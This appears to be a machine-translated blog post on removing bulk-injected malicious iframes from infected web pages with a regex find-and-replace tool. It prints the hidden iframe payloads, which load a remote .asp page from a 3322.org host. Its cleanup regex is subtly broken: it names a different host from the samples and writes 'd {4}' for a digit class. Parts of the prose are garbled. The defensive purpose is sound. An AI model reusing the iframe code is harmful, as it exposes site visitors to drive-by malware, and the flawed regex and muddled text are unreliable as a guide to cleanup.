Compilation: many may be looking for this solution.
Supplemented by days. abu. Original, please note in the excerpt.
It is common for websites to be infected with Trojans in batches. Generally, you can easily Delete Code in batches by using a batch replacement tool. However, if every page of a website is placed with Trojans, the Code is also different. How can this problem be solved?
Because no Trojan on a page is the same, it cannot be deleted. A friend of mine encountered this problem a few days ago.
He complained that a website on the server had been infected with Trojans in batches. After careful consideration, the Trojans on each page were different.
I checked a situation similar to this:
The Trojan on page 1 is:
<IfraME src = http://sb.3322.org/isme.asp widTH = 50 height = 0 name = 5148 naMe = 2 boRdeR = 0> </ifRame>
The Trojan on page 2 is:
<IfraME src = http://sb.3322.org/isme.asp widTH = 50 height = 0 name = 2133 naMe = 2 boRdeR = 0> </ifRame>
The Trojan on page 3 is:
<IfraME src = http://sb.3322.org/isme.asp widTH = 50 height = 0 name = 4583 naMe = 2 boRdeR = 0> </ifRame>
......
Although the Trojans on each page are different, there are still some rules.
At this time, I am depressed. If there is a batch replacement tool that supports regular expressions, it would be nice. Fortunately, the areone of the days helped me introduce a small tool that can meet this requirement.
Download:
[Download] AFR (Advanced Find and Replace) Chinese Green Edition supports regular expressions to delete Web pages in batches
Open the AFR tool and select batch replacement:
Enter the search content section:
<IfraME src = http://88lai.3322.org/u.asp widTH = 50 height = 0 name = d {4} naMe = 2 boRdeR = 0> </ifRame>
Replace with null.
Note that the red part in the preceding statement is a regular expression. In this way, you can delete Trojans in batches.
Soon, Trojans on more than pages were cleared. Success.
Regular expressions are used in many technical applications. I will also find some teaching materials in this area later.